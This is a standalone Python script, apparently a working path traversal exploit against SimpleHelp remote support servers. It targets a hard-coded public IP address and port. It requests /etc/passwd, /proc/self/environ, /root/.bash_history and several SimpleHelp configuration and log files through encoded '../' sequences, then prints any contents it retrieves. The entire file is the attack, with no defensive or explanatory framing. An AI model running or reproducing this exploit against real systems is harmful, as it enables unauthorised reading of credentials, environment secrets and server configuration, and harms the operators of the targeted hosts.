import asyncio, json
import aiohttp

IP, PORT, SC = "13.202.79.242", 9191, "https"
UP = "/".join([".."] * 12)

PATHS = [
    "/etc/passwd",
    "/etc/hostname",
    "/proc/self/cmdline",
    "/proc/self/environ",
    "/proc/self/cwd/configuration.xml",
    "/opt/simplehelp/configuration.xml",
    "/usr/local/SimpleHelp/configuration.xml",
    "/opt/SimpleHelp/configuration.xml",
    "/opt/simplehelp/SimpleHelp/configuration.xml",
    "/etc/simplehelp/configuration.xml",
    "/usr/local/simplehelp/configuration.xml",
    "/opt/simplehelp/logs/simplehelp.log",
    "/root/.bash_history",
    "/etc/hosts",
]


def enc(p):
    return p.replace("/", "%2f")


async def main():
    conn = aiohttp.TCPConnector(limit=0, ssl=False)
    tout = aiohttp.ClientTimeout(total=20, connect=8, sock_read=15)
    hdr = {"User-Agent": "Mozilla/5.0"}
    async with aiohttp.ClientSession(connector=conn, timeout=tout, headers=hdr) as sess:
        for p in PATHS:
            url = f"{SC}://{IP}:{PORT}/?/{enc(UP + p)}"
            try:
                async with sess.get(url, ssl=False) as r:
                    raw = await r.content.read(20000)
                    t = raw.decode("utf-8", "replace")
                ok = "root:x:" in t or "<" in t[:200] or len(t) > 50
                print(f"### {p} -> {r.status} len={len(t)} ok={ok}")
                if ok and len(t.strip()) > 20:
                    print(t[:900].replace("\x00", " ").replace("\n", " ")[:900])
                print()
            except Exception as e:
                print(f"### {p} -> ERR {type(e).__name__}\n")

asyncio.run(main())
